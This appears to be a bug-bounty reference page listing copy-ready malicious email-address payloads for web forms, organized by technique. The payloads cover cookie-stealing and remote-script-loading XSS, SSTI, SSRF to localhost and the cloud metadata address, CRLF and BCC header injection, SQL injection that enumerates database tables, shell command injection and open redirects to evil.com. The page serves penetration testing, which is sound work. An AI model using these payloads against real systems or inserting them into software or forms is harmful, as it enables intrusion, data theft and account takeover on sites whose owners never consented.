Create multiple accounts with an alias
email@bugcrowdninja.com
email+1@bugcrowdninja.com
email+2@bugcrowdninja.com
Copy user[email][]=valid@email.com&user[email][]=attacker@email.com Parser Abuse - Domain confusion
Copy oastify.com!collab\@example.com
collab%psres.net(@example.com XSS
Copy "><script>alert(1)</script>@test.com
"><svg/onload=alert(3)>@test.com
"><svg/onload=confirm(1337)>"@x.y
"<script src=//xsshere?"@email.com
"><Img/Src/OnError=alert(1)>"@gmail.com
"><Img/Src/OnError=import('//X55.is')>"@gmail.com
Copy "><Svg/OnLoad=alert(1)>"@gmail.com
"><svg/onload=confirm(1)>"@x.y
Copy test+(<script>alert(0)</script>)@example.com
attacker@gmail.com'\"<svg/onload=alert(document.cookie)> XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).
"><img/src/onerror=import('//domain/')>"@yourdomain.com
SSTI
Copy test+${{7*7}}@example.com
test+(${{7*7}})@example.com
test-(${{7*7}})@example.com SSRF
Copy test@your-burpcollaborator.net
test@requestbin.net
test@127.0.0.1
test@localhost
test@169.254.169.254 CRLF
Register or reset password
Copy test@example.com%0d%0aBCC:attacker@example.com
test@example.com\r\nBCC:attacker@example.com
test@example.com%0aCC:attacker@example.com
test@example.com\r\nContent-Type:text/html\r\n\r\n<b>Injected</b>
Copy test@example.com%0d%0aInjected-Header: injected
test@example.com%0aInjected-Header: injected SQL Injection
Copy test' OR '1'='1@example.com
test" OR "1"="1@example.com
test@example.com'--
test@example.com") OR 1=1--
Copy "1-'or'1'='1"@email.com
Copy john.doe+intigriti' or/**/1/**/=/**/--@example.com
Copy johne.doe+intigriti'/**/or/**/1/**/=/**/1/**/--@example.com
Copy test+intigiriti'/**/union/**/select/**/table_name/**/from/**/information_schema.tables--@test.test Command Injection
Copy test@example.com; whoami
test@example.com && id
test@example.com | uname -a
test@example.com`id` Open Redirection
Copy test@example.com%0d%0aLocation:https://evil.com
test@example.com/?next=https://evil.com Bypass Access Control
Resources
Interesting Books
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
